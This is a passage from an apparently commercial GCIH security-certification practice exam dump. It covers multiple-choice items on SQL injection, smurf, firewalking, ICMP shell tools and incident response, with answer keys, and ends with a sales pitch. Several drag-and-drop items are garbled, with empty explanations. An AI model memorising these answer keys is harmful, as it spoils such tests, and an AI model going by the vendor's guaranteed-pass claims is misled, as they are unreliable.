Microsoft OLE DB Provider for ODBC Drivers error '0x80040E14'
This error message shows that the We-are-secure Website is vulnerable to _____.

A. A buffer overflow
B. A Denial-of-Service attack
C. A SQL injection attack
D. An XSS attack

Answer: C

NEW QUESTION 297
Which of the following is an Internet mapping technique that relies on various BGP collectors that collect information such as routing updates and tables and provide this information publicly?

A. AS Route Inference
B. Path MTU discovery (PMTUD)
C. AS PATH Inference
D. Firewalking

Answer: C

NEW QUESTION 301
Which of the following languages are vulnerable to a buffer overflow attack?
Each correct answer represents a complete solution. Choose all that apply.

A. Java
B. C++
C. C
D. Action script

Answer: BC

NEW QUESTION 306
Which of the following is the method of hiding data within another media type such as graphic or document?

A. Spoofing
B. Steganography
C. Packet sniffing
D. Cryptanalysis

Answer: B

NEW QUESTION 310
Which of the following statements about smurf is true?

A. It is a UDP attack that involves spoofing and flooding.
B. It is an ICMP attack that involves spoofing and flooding.
C. It is an attack with IP fragments that cannot be reassembled.
D. It is a denial of service (DoS) attack that leaves TCP ports open.

Answer: B

NEW QUESTION 311
Which of the following provides packet-level encryption between hosts in a LAN?

A. PPTP
B. IPsec
C. PFS
D. Tunneling protocol

Answer: B

NEW QUESTION 312
Which of the following is used to gather information about a remote network protected by a firewall?

A. Warchalking
B. Wardialing
C. Firechalking
D. Firewalking

Answer: D

NEW QUESTION 315

Which of the following hacking tools provides shell access over ICMP?

A. John the Ripper
B. Nmap
C. Nessus
D. Loki

Answer: D

NEW QUESTION 320
Which of the following threats is a combination of worm, virus, and Trojan horse characteristics?

A. Spyware
B. Heuristic
C. Blended
D. Rootkits

Answer: C

NEW QUESTION 325
Which of the following is a method of gaining access to a system that bypasses normal authentication?

A. Teardrop
B. Trojan horse
C. Back door
D. Smurf

Answer: C

NEW QUESTION 328
Which of the following are the rules by which an organization operates?

A. Acts
B. Policies
C. Rules
D. Manuals

Answer: B

NEW QUESTION 331
Which of the following steps of incident response is steady in nature?

A. Containment
B. Eradication
C. Preparation
D. Recovery

Answer: C

NEW QUESTION 332
Which of the following ensures that the investigation process of incident response team does not break any laws during the response to an incident?

A. Information Security representative
B. Lead Investigator
C. Legal representative
D. Human Resource

Answer: C

NEW QUESTION 334
Which of the following is a process of searching unauthorized modems?

A. Espionage
B. Wardialing
C. System auditing
D. Scavenging

Answer: B

NEW QUESTION 336
Which of the following options scans the networks for vulnerabilities regarding the security of a network?

A. System enumerators
B. Port enumerators
C. Network enumerators

D. Vulnerability enumerators

Answer: C

NEW QUESTION 340
Which of the following strategies allows a user to limit access according to unique hardware information supplied by a potential client?

A. Extensible Authentication Protocol (EAP)
B. WEP
C. MAC address filtering
D. Wireless Transport Layer Security (WTLS)

Answer: C

NEW QUESTION 345
Which of the following describes network traffic that originates from the inside of a network perimeter and progresses towards the outside?

A. Ingress network
B. Inwards network
C. Egress network
D. Outwards network

Answer: C

NEW QUESTION 346
Choose and reorder the steps of an incident handling process in their correct order.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 347
Drag and drop the mapping techniques to their respective descriptions.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 350
Choose the items from the given list that are required to be in the response kit of an Incident Handler.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 355
Maria works as a professional Ethical Hacker. She recently got a project to test the security of www.we-are-secure.com. Arrange the three pre -test phases of the attack to test the security of weare-secure.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 356
.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questons and Answers in PDF Format

GCIH Practice Exam Features:

* GCIH Questions and Answers Updated Frequently

* GCIH Practice Questions Verified by Expert Senior Certified Staff

* GCIH Most Realistic Questions that Guarantee you a Pass on Your FirstTry

* GCIH Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year